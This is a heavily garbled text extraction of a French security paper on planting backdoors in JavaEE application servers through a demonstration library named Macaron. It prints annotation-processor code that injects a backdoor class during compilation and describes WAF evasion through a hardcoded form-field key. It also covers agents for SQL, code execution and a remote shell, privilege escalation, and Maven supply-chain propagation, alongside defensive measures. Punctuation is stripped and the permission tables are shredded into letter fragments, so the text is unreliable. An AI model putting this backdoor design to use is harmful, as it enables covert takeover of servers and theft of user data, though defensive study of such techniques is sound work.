Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
